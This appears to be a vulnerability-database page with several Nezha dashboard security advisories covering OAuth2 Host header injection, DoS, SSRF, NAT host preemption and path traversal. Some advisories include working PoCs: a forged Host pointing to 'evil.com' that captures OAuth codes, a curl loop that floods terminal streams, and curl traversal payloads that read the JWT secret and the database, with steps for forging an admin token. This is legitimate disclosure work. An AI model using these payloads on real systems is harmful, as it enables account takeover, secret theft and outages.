-Infinity
0

Vendor Risk Score

See how nezha compares to other vendors in security performance

View Risk Score →
Severity
9.3
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Nezha 2.2.3 contains a Host header injection regression in the OAuth2 redirect endpoint. When the new optional dashboardhost setting is empty, /api/v1/oauth2/{provider} (cmd/dashboard/controller/oauth2.go) reflects the attacker-supplied HTTP Host header into the redirecturi sent to the identity provider instead of falling back to the configured installhost. An attacker who induces a victim to begin OAuth2 login via a request that reaches Nezha with a forged Host header can cause an attacker-controlled callback URL to be used as the redirecturi; if the OAuth2 provider accepts it, the victim's authorization code is delivered to the attacker origin, allowing the attacker to complete the OAuth2 login/binding flow and take over the account. This regresses the fix for GHSA-9rc6-8cjv-rcvx and is configuration-dependent (dashboardhost empty). At the time of the advisory no patched version was available.

First published (updated )
Severity
2.3
AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N

Nezha before 2.2.7 contains an information disclosure vulnerability in the GET /api/v1/profile endpoint that returns the bcrypt-hashed password field of authenticated users. Attackers can extract password hashes and perform offline cracking attacks without rate limiting or audit trail constraints.

First published (updated )
Severity
6
AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

Nezha is a server and website monitoring tool. In versions >= 2.2.11 and < 2.3.1, the service sentinel worker (service/singleton/servicesentinel.go) contains an incomplete fix for a previously reported nil dereference denial of service (GHSA-qjpp-gffx-2wm9). The 2026-07-21 fix re-validated the service lifecycle under serviceResponseDataStoreLock but reused an already-captured, now stale reporter pointer and never re-validated the server, and that lock does not guard ServerShared. An authenticated user with the member role who owns an agent can issue a concurrent server delete (POST /api/v1/batch-delete/server) for their own server to win the race window, causing the worker to dereference a missing entry in the server list snapshot. Because the sentinel workers and the gRPC server have no recover()/recovery interceptor, the resulting panic is unrecovered and crashes the entire instance. This is fixed in version 2.3.1.

First published (updated )
Severity
5.3
SSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Nezha versions 2.0.10 through 2.3.2 use a restricted HTTP client to validate user-configurable notification and DDNS webhook URLs, but the denylist did not cover IPv6 transition ranges — specifically the 6to4 prefix 2002::/16 and the local-use IPv4/IPv6 translation prefix 64:ff9b:1::/48. Because such addresses satisfy Go's netip.Addr.IsGlobalUnicast check, the URL validator accepted them. An authenticated user able to configure a webhook may be able to cause the dashboard to issue requests to an otherwise restricted IPv6 endpoint, but only where the dashboard's network provides unusual or non-standards-compliant routing for these transition ranges; no direct path to an IPv4 metadata, loopback, or private-network HTTP request has been demonstrated. The issue is fixed in version 2.3.3 (commit d1fcde8e), which blocks both prefixes.

First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Nezha Dashboard versions before 2.3.5 fail to restrict service monitor task types to supported probe types, allowing authenticated users with nezha:service:write scope to submit privileged task types through the service API. Attackers can deliver command execution or Agent configuration tasks to Agents within their authorization scope by exploiting the shared protobuf Task.Type namespace between service monitors and privileged operations.

First published (updated )
Severity
6.8
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

1. Description

The getRedirectURL function in oauth2.go:22-29 constructs the OAuth2 callback URL by concatenating the request's Host header with a fixed path, with zero validation of the Host header:

go func getRedirectURL(c gin.Context) string { scheme := "http://" referer := c.Request.Referer() if forwardedProto := c.Request.Header.Get("X-Forwarded-Proto"); forwardedProto == "https" || strings.HasPrefix(referer, "https://") { scheme = "https://" } return scheme + c.Request.Host + "/api/v1/oauth2/callback" }

File: cmd/dashboard/controller/oauth2.go:22-29

This function is called from oauth2redirect() at line 53: go func oauth2redirect(c gin.Context) (model.Oauth2LoginResponse, error) { // ... redirectURL := getRedirectURL(c) o2conf := o2confRaw.Setup(redirectURL) // ... url := o2conf.AuthCodeURL(state, oauth2.AccessTypeOnline) return &model.Oauth2LoginResponse{Redirect: url}, nil }

The redirectURL is passed into o2confRaw.Setup(redirectURL) which configures the OAuth2 Config.RedirectURL field (oauth2config.go:22-33). This RedirectURL is sent to the OAuth2 provider (e.g., GitHub, Google, Microsoft) as the callback endpoint. The OAuth2 provider will redirect the user's browser — along with the authorization code — to this URL after the user authenticates.

The security issue is that c.Request.Host is directly user-controllable via the HTTP Host header. An attacker who can control which Host header reaches the oauth2redirect handler can:

1. Set Host: evil.com 2. getRedirectURL returns https://evil.com/api/v1/oauth2/callback 3. The OAuth2 provider redirects the victim's auth code to evil.com 4. The attacker's server at evil.com captures the auth code 5. The attacker exchanges the code for an access token, binding the victim's OAuth identity to the attacker's dashboard account

The scheme detection (lines 24-27) uses X-Forwarded-Proto and the Referer header, both of which are also user-controllable in certain configurations, so the attacker can force https:// scheme in the redirect URL.

The oauth2callback handler at line 129 later uses state.RedirectURL (which is stored in singleton.Cache at line 65) when calling exchangeOpenId at line 152. The cached redirectURL was set during the initial oauth2redirect call, tying the attack flow together.

2. PoC

A conceptual attack (no Docker needed):

Scenario: OAuth2 provider has loose redirect URI validation (e.g., allows wildcard subdomain matching)

1. Attacker crafts a URL to the dashboard's OAuth2 login endpoint with a modified Host header:

GET /api/v1/oauth2/github HTTP/1.1 Host: attacker-controlled.com X-Forwarded-Proto: https

2. The dashboard responds with a redirect to: https://github.com/login/oauth/authorize?clientid=...&redirecturi=https://attacker-controlled.com/api/v1/oauth2/callback&state=...

3. Victim clicks the attacker's link → authenticates with GitHub → GitHub redirects to https://attacker-controlled.com/api/v1/oauth2/callback?code=AUTHCODE&state=...

4. Attacker captures the AUTHCODE from their server logs

5. Attacker exchanges the code at the real dashboard's /api/v1/oauth2/callback endpoint (using the real Host header this time), binding the victim's OAuth identity to their dashboard account

Prerequisites for full exploit: - The victim must click the attacker's crafted link - The OAuth2 provider must accept the attacker's domain as a valid redirect URI (some providers accept https:/// or allow wildcards; others are strict)

3. Impact

- Account takeover: an attacker who intercepts the OAuth2 authorization code can bind the victim's OAuth identity (GitHub, Google, GitLab, etc.) to their own dashboard account, gaining the victim's access level and permissions - Privilege escalation: if the victim is an admin, the attacker gains full administrative control over the Nezha deployment — access to all servers, credentials, and configuration - Persistence: once bound, the attacker retains access even if the victim resets their password (unless they also unbind the OAuth2 identity)

The attack complexity is higher than typical Host header injection scenarios because it requires: 1. The Host header to reach the dashboard's handler unmodified (bypassing reverse proxy normalization) 2. The OAuth2 provider to have loose redirect URL validation 3. User interaction (the victim must authenticate)

However, the code-level vulnerability is unambiguous: the application trusts attacker-controlled input (Host header) for a security-critical URL that participates in the OAuth2 authorization code flow.

4. Remediation

1. Validate the Host header against a configured allowlist of known dashboard hostnames: go func getRedirectURL(c gin.Context) string { host := c.Request.Host if !singleton.Conf.IsAllowedHost(host) { host = singleton.Conf.DashboardBaseURL // fallback } // ... }

2. Pin the redirect URL to the configured dashboard URL from singleton.Conf instead of deriving it from the request Host header: go func getRedirectURL(c gin.Context) string { return singleton.Conf.DashboardBaseURL + "/api/v1/oauth2/callback" }

3. Remove Host header-based URL construction entirely — the OAuth2 redirect URL should be deterministic based on server configuration, not dynamic per-request

4. Add Host header validation middleware for all OAuth2-related endpoints as defense-in-depth

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

1. Description

The Nezha dashboard exposes two endpoints that create long-lived WebSocket streams to monitored agents:

- POST /api/v1/terminal → createTerminal() (terminal.go:27-67) - POST /api/v1/file → createFM() (fm.go:28-67)

Both call rpc.NezhaHandlerSingleton.CreateStream(streamId, ...) which inserts a new ioStreamContext into an unbounded map[string]ioStreamContext (s.ioStreams in iostream.go:59-67). There is no per-user rate limit, no global semaphore, and no per-server connection cap. Each stream allocates:

1. A ioStreamContext struct with several channels and sync primitives 2. Two goroutines via StartStream() (iostream.go:358-369) — bidirectional io.CopyBuffer 3. A gRPC IOStream between the dashboard and the agent 4. An agent-side PTY/shell process

Vulnerable code:

terminal.go:27-67 — createTerminal: go func createTerminal(c gin.Context) (model.CreateTerminalResponse, error) { // ... validation ... rpc.NezhaHandlerSingleton.CreateStream(streamId, getUid(c), server.ID) // ... sends TaskTypeTerminalGRPC to agent ... return &model.CreateTerminalResponse{...}, nil }

fm.go:28-67 — createFM: go func createFM(c gin.Context) (model.CreateFMResponse, error) { // ... validation ... rpc.NezhaHandlerSingleton.CreateStream(streamId, getUid(c), server.ID) // ... sends TaskTypeFM to agent ... return &model.CreateFMResponse{...}, nil }

iostream.go:55-67 — CreateStreamWithPurpose (inserts into unbounded map): go func (s NezhaHandler) CreateStreamWithPurpose(...) { s.ioStreamMutex.Lock() defer s.ioStreamMutex.Unlock() s.ioStreams[streamId] = &ioStreamContext{ creatorUserID: creatorUserID, targetServerID: targetServerID, purpose: purpose, userIoConnectCh: make(chan struct{}), agentIoConnectCh: make(chan struct{}), revokedCh: make(chan struct{}), } }

iostream.go:319-372 — StartStream spawns two goroutines per stream: go func (s NezhaHandler) StartStream(streamId string, timeout time.Duration) error { // ... go func() { , innerErr := io.CopyBuffer(userIo, agentIo, bp.buf) errCh <- innerErr }() go func() { , innerErr := io.CopyBuffer(agentIo, userIo, bp.buf) errCh <- innerErr }() return <-errCh }

The NezhaHandler.ioStreams map is initialized as a plain make(map[string]ioStreamContext) in nezha.go:36 — no capacity limit, no eviction policy beyond explicit CloseStream / RevokeStreamsForServer.

The HasPermission check at terminal.go:41-43 and fm.go:43-45 controls access scope but does not limit creation volume. A user with ScopeServerExec (terminal) or ScopeServerRead+Write+Delete (file manager) can open unlimited streams.

2. PoC

A conceptual attack (no Docker needed):

As an authenticated user with a valid JWT or PAT: for i in {1..1000}; do curl -X POST "https://dashboard.example.com/api/v1/terminal" \ -H "Authorization: Bearer $JWT" \ -H "Content-Type: application/json" \ -d '{"serverid": 1}' & done wait

Each request: - Creates a new stream entry in ioStreams - Sends a TaskTypeTerminalGRPC task to the agent - When the WebSocket attachment occurs (GET /ws/terminal/{id}), spawns 2 goroutines for I/O relay and allocates a 1 MB buffer per goroutine

The attack targets three resource domains: 1. Dashboard memory/goroutines — each stream adds goroutines, channels, and buffers 2. Agent resources — each stream spawns a PTY/shell process on the monitored server 3. gRPC connection pool — concurrent IOStreams consume gRPC multiplexing capacity

The POST /file (createFM) endpoint provides an alternative path with the same unbounded behavior, using ScopeServerRead+Write+Delete instead of ScopeServerExec.

3. Impact

- Denial of Service against the dashboard: memory exhaustion, goroutine starvation, or gRPC stream table overflow from rapid stream creation - Denial of Service against monitored agents: each terminal session spawns a PTY process on the agent — an attacker can crash or degrade all agents behind the dashboard - Operational cascade: if the dashboard OOMs, all agent monitoring and alerting is lost - PAT connection-registry bypass: rapid create-connect-disconnect cycles may evade cleanup tracking

The attack requires only authenticated access with standard scopes — no special privileges. Any team member with terminal access to a server can DoS the entire infrastructure.

4. Remediation

Implement layered rate limiting and concurrency control:

1. Per-user stream cap in CreateStream — reject if the user already has N active streams (e.g., 10 per user): go func (s NezhaHandler) CreateStreamWithPurpose(...) { s.ioStreamMutex.Lock() defer s.ioStreamMutex.Unlock() count := 0 for , ctx := range s.ioStreams { if ctx.creatorUserID == creatorUserID { count++ } } if count >= maxStreamsPerUser { return error } // ... existing code ... }

2. Per-server semaphore — limit concurrent streams to any single server (e.g., 20 per server)

3. Rate limiter on createTerminal and createFM — mirror the existing MCP rate limiter (mcpratelimit.go) for legacy WebSocket endpoints

4. Add a configurable MaxStreamsPerUser / MaxStreamsPerServer setting so operators can tune limits without code changes

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
SQL Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary An authenticated non-admin user who owns any server can create or update a NAT profile whose domain is equal to the dashboard's own HTTP Host (for example, dashboard.example:8008). The dashboard's top-level HTTP/gRPC multiplexer checks NATShared.GetNATConfigByDomain(r.Host) before dispatching requests to the dashboard API, frontend, or gRPC handler, so a member-controlled NAT profile for the dashboard Host takes precedence over the real dashboard.

A disabled claimed NAT profile blocks matching dashboard requests before they reach the dashboard handler. An enabled claimed NAT profile routes matching requests into ServeNAT, which sends a NAT task to the member's selected agent and wraps the original HTTP request into the NAT IO stream. This allows a low-privileged dashboard user to take over routing for a global host name that should be reserved for the dashboard operator.

Tested locally against commit 8b5e382fe217107c7b777ea9c6b4bc3d2e156202 of github.com/nezhahq/nezha.

Details The NAT management API is exposed to any authenticated user, not just administrators: auth.POST("/nat", commonHandler(createNAT)) and auth.PATCH("/nat/:id", commonHandler(updateNAT)) are registered in cmd/dashboard/controller/controller.go:147-150.

createNAT accepts the request body into model.NATForm, verifies only that the selected server exists and server.HasPermission(c) succeeds, then stores the caller-controlled nf.Domain directly into n.Domain and updates the shared NAT cache (cmd/dashboard/controller/nat.go:48-80). updateNAT performs the same assignment after checking ownership of the selected server and existing NAT record (cmd/dashboard/controller/nat.go:96-140). NATForm.Domain is an unconstrained string with no reserved-host or host-ownership validation (model/natapi.go:3-9), and model.NAT.Domain is only globally unique in the database (model/nat.go:3-10).

The singleton NAT cache indexes persisted NAT profiles directly by profile.Domain in NewNATClass (service/singleton/nat.go:17-25) and writes updates into the same map with c.list[n.Domain] = n (service/singleton/nat.go:37-45). Runtime lookup is an exact map lookup of the incoming Host string (service/singleton/nat.go:65-69).

The routing boundary is global: newHTTPandGRPCMux checks singleton.NATShared.GetNATConfigByDomain(r.Host) before it checks for gRPC or invokes the dashboard HTTP handler (cmd/dashboard/main.go:207-225). If the NAT profile exists but is disabled, the router returns the WAF block page and never reaches the dashboard (cmd/dashboard/main.go:209-214). If it is enabled, the router calls rpc.ServeNAT(w, r, natConfig) and returns (cmd/dashboard/main.go:216-217).

ServeNAT selects the server from the NAT profile, requires that server's task stream to be online, sends a TaskTypeNAT task containing the NAT target host, then calls utils.NewRequestWrapper(r, w) and attaches the wrapped original request to the IO stream (cmd/dashboard/rpc/rpc.go:142-204). The request wrapper serializes the original request with req.Write(buf), which includes the request line and headers, before streaming it over the hijacked connection (pkg/utils/requestwrapper.go:19-31). This is the intended NAT tunnel behavior, but it is unsafe when an ordinary user can bind the dashboard's own Host name.

Default/common exposure evidence: the dashboard binary is the primary shipped component of module github.com/nezhahq/nezha (go.mod:1), listens on port 8008 when listenport is unset (model/config.go:146-148), and the Dockerfile exposes 8008 (Dockerfile:14-18). NAT management is part of the authenticated dashboard route set, so the vulnerable path is reachable in a default dashboard deployment with multiple users or any non-admin user who controls a server.

False-positive checks performed:

- The NAT routes are authenticated but not admin-only (cmd/dashboard/controller/controller.go:147-150). - The only create-time authorization check is ownership of the selected server (cmd/dashboard/controller/nat.go:56-65), not authority over the claimed Host. - The update path likewise accepts a caller-controlled replacement domain after ownership checks (cmd/dashboard/controller/nat.go:109-139). - The NAT cache uses the domain string as the global dispatch key without reserving the dashboard Host (service/singleton/nat.go:17-25, service/singleton/nat.go:37-45, service/singleton/nat.go:65-69). - The top-level mux checks NAT before dashboard/gRPC routing (cmd/dashboard/main.go:207-225). - A control request using a different Host reaches the dashboard handler in the local reproduction, ruling out a generic handler failure.

Candidate score: 16/18.

- Reachability: 2 — authenticated NAT API and top-level mux are default dashboard paths. - Attacker control: 2 — NATForm.Domain is directly controlled by the authenticated caller. - Privilege required: 1 — requires an authenticated user with an owned server; no admin role is required. - Sink impact: 2 — matching dashboard Host traffic is blocked or routed into the attacker's NAT stream instead of the dashboard. - Mitigation weakness: 2 — no dashboard-host reservation, domain ownership validation, or post-parse host authorization was found. - Default exposure: 2 — dashboard listens on/exposes port 8008 by default and NAT routes are registered in the default authenticated API. - Safe reproduction feasibility: 2 — reproduced locally with a safe temporary unit-test harness and local SQLite database. - Static certainty: 2 — source-to-sink chain is complete from JSON body to NAT cache to global router. - False-positive resistance: 1 — disabled-route preemption is dynamically proven; enabled-route forwarding is supported by code path but was not exercised with a real agent binary in this repository checkout.

Exploitability gate result: confirmed for authenticated dashboard Host preemption and denial of service. Enabled-route request forwarding is included as impact rationale from the exact ServeNAT source path, but the reproducible proof uses a disabled NAT profile to avoid requiring a live agent.

PoC The following safe local reproduction adds only temporary test/stub files, uses a temporary SQLite database, runs the real unexported newHTTPandGRPCMux, and removes all temporary files on exit. It does not start a public listener or contact external systems.

Run from a clean checkout of commit 8b5e382fe217107c7b777ea9c6b4bc3d2e156202:

bash cleanup() { rm -f cmd/dashboard/admin-dist/claudenatpocplaceholder.txt cmd/dashboard/user-dist/claudenatpocplaceholder.txt cmd/dashboard/docs/docs.go cmd/dashboard/nathostclaimtmptest.go; rmdir cmd/dashboard/docs 2>/dev/null || true; } cleanup mkdir -p cmd/dashboard/docs printf 'placeholder' > cmd/dashboard/admin-dist/claudenatpocplaceholder.txt printf 'placeholder' > cmd/dashboard/user-dist/claudenatpocplaceholder.txt cat > cmd/dashboard/docs/docs.go <<'EOF' package docs

var SwaggerInfo = struct{ Version string }{Version: "test"} EOF cat > cmd/dashboard/nathostclaimtmptest.go <<'EOF' package main

import ( "fmt" "net/http" "net/http/httptest" "os" "path/filepath" "testing"

"github.com/nezhahq/nezha/model" "github.com/nezhahq/nezha/service/singleton" "gorm.io/driver/sqlite" "gorm.io/gorm" )

func TestNATDomainPreemptsDashboardHost(t testing.T) { dbPath := filepath.Join(t.TempDir(), "nezha-nat-host-poc.sqlite") db, err := gorm.Open(sqlite.Open(dbPath), &gorm.Config{}) if err != nil { t.Fatal(err) } singleton.DB = db if err := db.AutoMigrate(&model.User{}, &model.Server{}, &model.NAT{}); err != nil { t.Fatal(err) }

member := model.User{Username: "member", Role: model.RoleMember, Password: "unused"} if err := db.Create(&member).Error; err != nil { t.Fatal(err) } server := model.Server{Common: model.Common{UserID: member.ID}, UUID: "11111111-1111-1111-1111-111111111111", Name: "member-agent"} if err := db.Create(&server).Error; err != nil { t.Fatal(err) } nat := model.NAT{Common: model.Common{UserID: member.ID}, Enabled: false, Domain: "dashboard.example:8008", Host: "127.0.0.1:18080", ServerID: server.ID, Name: "claim-dashboard-host"} if err := db.Create(&nat).Error; err != nil { t.Fatal(err) } singleton.NATShared = singleton.NewNATClass()

httpHandler := http.HandlerFunc(func(w http.ResponseWriter, r http.Request) { w.WriteHeader(http.StatusTeapot) , = w.Write([]byte("dashboard handler reached")) }) grpcHandler := http.HandlerFunc(func(w http.ResponseWriter, r http.Request) { w.WriteHeader(http.StatusAccepted) }) h := newHTTPandGRPCMux(httpHandler, grpcHandler)

req := httptest.NewRequest(http.MethodGet, "http://dashboard.example:8008/api/v1/profile", nil) rec := httptest.NewRecorder() h.ServeHTTP(rec, req) if rec.Code == http.StatusTeapot || rec.Body.String() == "dashboard handler reached" { t.Fatalf("dashboard handler was reached despite claimed NAT host: code=%d body=%q", rec.Code, rec.Body.String()) } fmt.Fprintf(os.Stdout, "positive: Host %s matched disabled member NAT id=%d and preempted dashboard handler with status=%d\n", req.Host, nat.ID, rec.Code)

controlReq := httptest.NewRequest(http.MethodGet, "http://other.example:8008/api/v1/profile", nil) controlRec := httptest.NewRecorder() h.ServeHTTP(controlRec, controlReq) if controlRec.Code != http.StatusTeapot || controlRec.Body.String() != "dashboard handler reached" { t.Fatalf("control host did not reach dashboard handler: code=%d body=%q", controlRec.Code, controlRec.Body.String()) } fmt.Fprintf(os.Stdout, "control: Host %s missed NAT and reached dashboard handler with status=%d\n", controlReq.Host, controlRec.Code) } EOF trap cleanup EXIT GOPROXY=off go test ./cmd/dashboard -run TestNATDomainPreemptsDashboardHost -count=1 -v

Observed vulnerable output in this environment:

text === RUN TestNATDomainPreemptsDashboardHost positive: Host dashboard.example:8008 matched disabled member NAT id=1 and preempted dashboard handler with status=403 control: Host other.example:8008 missed NAT and reached dashboard handler with status=418 --- PASS: TestNATDomainPreemptsDashboardHost (0.11s) PASS ok github.com/nezhahq/nezha/cmd/dashboard 0.132s

Expected vulnerable output: the positive request for dashboard.example:8008 must not return the dashboard handler's 418 response; it should be intercepted by the disabled NAT profile and return the WAF/block status. The control request for other.example:8008 must reach the dashboard handler and return 418 with body dashboard handler reached.

Cleanup: the shell trap cleanup EXIT removes the temporary test file, temporary generated docs stub, and temporary embed placeholders. The SQLite database is created under t.TempDir() and removed by Go's test cleanup.

Final re-check: the reproduction above was run after source-to-sink analysis and before writing this draft; it passed with the exact output shown above.

Impact A non-admin authenticated user can bind a global routing key that belongs to the dashboard operator. If the attacker sets enabled=false, all requests carrying the claimed dashboard Host are blocked before reaching dashboard API, frontend, or gRPC handlers. This can deny access to the dashboard for all users who use that Host.

If the attacker sets enabled=true and keeps the selected owned agent online, the matching requests enter ServeNAT: the dashboard sends a NAT task to that agent and streams the serialized original HTTP request into the NAT IO stream. Because utils.NewRequestWrapper serializes the original request with headers, dashboard requests that should have been processed locally can be forwarded to infrastructure controlled by the low-privileged user. The local proof avoids this stronger enabled-agent path, but the source path is direct in cmd/dashboard/rpc/rpc.go:142-204 and pkg/utils/requestwrapper.go:19-31.

Suggested remediation Do not allow ordinary NAT profiles to claim dashboard-owned hosts. Recommended fixes:

1. Canonicalize incoming Host values and NAT domain values consistently, including case and port handling. 2. Add a server-side reserved-host check in both createNAT and updateNAT that rejects the configured dashboard public host(s), listen host/port combinations, and any administrator-reserved domains. 3. Consider making NAT domain creation admin-approved unless the deployment can verify domain ownership for the requesting user. 4. In the top-level mux, route dashboard/gRPC hosts before NAT when the Host is known to belong to the dashboard. 5. Add regression tests covering create, update, cache reload, and mux behavior for dashboard-host collisions.

A useful regression test is the PoC above inverted: a member-created NAT with Domain equal to the configured dashboard Host should be rejected by the controller, and a request with the dashboard Host should continue to reach the dashboard handler.

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
Path Traversal, SQL Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary fallbackToFrontend in the dashboard's NoRoute handler treats any URL whose raw string starts with /dashboard as an admin-frontend asset request. The check uses strings.HasPrefix, not a path-segment match, so the input /dashboard../data/config.yaml is accepted; strings.TrimPrefix leaves ../data/config.yaml; and path.Join("admin-dist", "../data/config.yaml") normalizes to data/config.yaml — which os.Stat finds and http.ServeFile returns. No authentication required. In default deployments (the values shipped in model/config.go and the layout shipped in the project Dockerfile) data/config.yaml contains the HS256 jwtsecretkey used by cmd/dashboard/controller/jwt.go to sign every dashboard session cookie. A unauth attacker reads that secret, forges an admin JWT, and signs in as any user — full dashboard takeover from one GET request.

Details Root cause go // cmd/dashboard/controller/controller.go @ 636f4a9 387: fallbackStatusCode := getFallbackStatusCode(c.Request.URL.Path) 388: if strings.HasPrefix(c.Request.URL.Path, "/dashboard") { 389: stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard") 390: localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath) 391: if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) { 392: return 393: } go // cmd/dashboard/controller/controller.go @ 636f4a9 322: func fallbackToFrontend(frontendDist fs.FS) func(gin.Context) { 323: checkLocalFileOrFs := func(c gin.Context, fs fs.FS, path string, customStatusCode int) bool { 324: if , err := os.Stat(path); err == nil { 325: http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path) 326: return true 327: } fallbackToFrontend is wired as the catch-all at cmd/dashboard/controller/controller.go:157 — r.NoRoute(fallbackToFrontend(frontendDist)) — so every URL not matched by an earlier route reaches it, including pre-auth. Path math (verified, see appendix) | Input URL.Path | TrimPrefix(..., "/dashboard") | path.Join("admin-dist", ...) | Reachable file | |---|---|---|---| | /dashboard/login | /login | admin-dist/login | legitimate, intended | | /dashboard/../data/config.yaml | /../data/config.yaml | data/config.yaml | but blocked by Go http.ServeFile's URL ..-segment guard → 400 | | /dashboard../data/config.yaml | ../data/config.yaml | data/config.yaml | served, 200 | | /dashboard%2e%2e/data/config.yaml | ../data/config.yaml (decoded) | data/config.yaml | served, 200 | | /dashboard..%2fdata/config.yaml | ../data/config.yaml (decoded) | data/config.yaml | served, 200 | The negative control (/dashboard/../data/config.yaml) lands at the same on-disk path after path.Join, but is rejected by http.ServeFile because Go's stdlib enforces a URL-level traversal guard that fires when the request URL itself contains a standalone .. segment. The bypass works because in /dashboard../... the first URL segment is the single token dashboard.. — no standalone .. — so the stdlib guard does not trigger. The traversal segment is created after TrimPrefix, downstream of every defense. Why the existing defenses miss 1. The prefix check is a substring test on the raw URL string, not a segment test. dashboard and dashboard.. are both accepted. 2. path.Join silently Cleans the result — so the .. is consumed correctly to escape admin-dist, with no error returned to indicate escape. 3. Go's http.ServeFile stdlib guard fires only on URLs with a standalone .. segment (per net/http.containsDotDot). The payload puts the dots inside the first segment instead. 4. No anchored "is this still under the template root?" check exists after path.Join.

PoC Setup text TARGET: github.com/nezhahq/nezha@636f4a971653ce3f5272fee99dc85c0bd5f923ef HARNESS: stdlib-only port — see Appendix A WORKDIR: tmpdir containing admin-dist/, user-dist/, data/config.yaml, data/sqlite.db TIME-TO-REPRO: first request The harness plants this data/config.yaml: yaml debug: false listenport: 8008 language: enUS jwtsecretkey: REPROJWTSECRETVALUEDONOTUSE agentsecretkey: REPROAGENTSECRETVALUE site: brand: nezha-repro Observed responses Primary payload — pre-auth secret disclosure: bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/config.yaml' text HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 167 Content-Type: application/yaml Last-Modified: Sun, 24 May 2026 12:16:23 GMT Date: Sun, 24 May 2026 12:16:25 GMT debug: false listenport: 8008 language: enUS jwtsecretkey: REPROJWTSECRETVALUEDONOTUSE agentsecretkey: REPROAGENTSECRETVALUE site: brand: nezha-repro Negative control — Go stdlib guard rejects the canonical form: bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard/../data/config.yaml' text HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 invalid URL path Encoded-dot variant — bypass also works: bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2e%2e/data/config.yaml' text HTTP/1.1 200 OK Content-Length: 167 Content-Type: application/yaml [... full config.yaml including jwtsecretkey ...] Encoded-slash variant — bypass also works: bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard..%2fdata/config.yaml' text HTTP/1.1 200 OK Content-Length: 167 Content-Type: application/yaml [... full config.yaml including jwtsecretkey ...] Double-encoded — confirms the bypass requires single-level encoding: bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%252e%252e/data/config.yaml' text HTTP/1.1 200 OK Content-Length: 30 Content-Type: text/html; charset=utf-8 <html>admin frontend OK</html> The literal %252e%252e does not decode to .., so the path becomes admin-dist/%2e%2e/data/config.yaml (no escape), os.Stat fails, and the handler falls through to serving admin-dist/index.html — no secret disclosure. Encoded leading slash — also blocked at the stdlib layer: bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2f..%2fdata/config.yaml' text HTTP/1.1 400 Bad Request invalid URL path SQLite database exfil — same primitive: bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/sqlite.db' text HTTP/1.1 200 OK Content-Length: 42 SQLITEFORMAT3FAKEDBCONTENTREPROONLY Sanity checks - Normal /dashboard/ request still serves admin-dist/index.html with HTTP 200 — the bypass does not regress legitimate behavior. - Requests to /api/... still hit the JSON-404 branch — the bypass is isolated to the /dashboard fallback.

Impact Direct primitive Unauth read of any file in the dashboard's working directory subtree reachable by escaping admin-dist one level. In default deployments that includes: | File | Default path | Why it matters | |---|---|---| | data/config.yaml | from -c flag default (cmd/dashboard/main.go:104) | Contains jwtsecretkey (signing key, HS256), agentsecretkey, OAuth2 client secrets, GitHub release token, GeoIP API key, and any custom secrets | | data/sqlite.db | from -db flag default (cmd/dashboard/main.go:105) | Full dashboard state: users (incl. admin), bcrypt password hashes, server registry, API tokens, notification configs | Chain to administrative account takeover (verified path) 1. Read config — GET /dashboard../data/config.yaml returns plaintext YAML containing jwtsecretkey. 2. Read database — GET /dashboard../data/sqlite.db returns the SQLite file; an attacker opens it and reads the users table to recover admin user IDs (and any other claims the JWT references). 3. Forge a JWT — the dashboard's JWT middleware at cmd/dashboard/controller/jwt.go:22,27 is wired with: go Key: []byte(singleton.Conf.JWTSecretKey), SigningAlgorithm: "HS256", CookieName: "nz-jwt", IdentityKey: model.CtxKeyAuthorizedUser, HS256 is symmetric — possession of the key is sufficient to sign tokens that pass verification. An attacker mints a token whose userid claim matches the admin user from step 2 and attaches it as the nz-jwt cookie (or Authorization: Bearer ...). 4. Operate as admin — every admin handler (adminHandler chain) now accepts the forged session, granting CRUD on servers, users, cron tasks, notifications, and OAuth2 settings. The chain is fully deterministic against a default-configured dashboard: two unauth HTTP GETs and a JWT signing operation, no race, no user interaction, no special timing. Suggested fix Make the prefix test segment-aware and reject paths whose cleaned form escapes the template root before any filesystem call. Minimal diff: diff - if strings.HasPrefix(c.Request.URL.Path, "/dashboard") { - stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard") + if c.Request.URL.Path == "/dashboard/" || strings.HasPrefix(c.Request.URL.Path, "/dashboard/") { + stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard/") + cleanPath := path.Clean("/" + stripPath) + if cleanPath == ".." || strings.HasPrefix(cleanPath, "../") || strings.Contains(cleanPath, "/../") { + c.JSON(http.StatusNotFound, newErrorResponse(errors.New("404 Not Found"))) + return + } localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath) The /dashboard -> /dashboard/ redirect at line 382 already exists, so requiring the trailing slash is safe and aligns with the regexes in frontendPageUrlRegistry. The same hardening should be applied to the user-template branch (lines 399–405), which uses the same path.Join pattern with singleton.Conf.UserTemplate. While the /dashboard prefix-confusion vector doesn't hit it directly, any future code change that hands a controlled URL.Path to that branch would re-introduce the same primitive. A defense-in-depth alternative is to replace the local os.Stat + http.ServeFile branch with a http.FileServer(http.FS(subFS)) rooted at the embedded admin-dist subdirectory, which keeps the embedded-FS contract and removes the working-directory escape entirely.

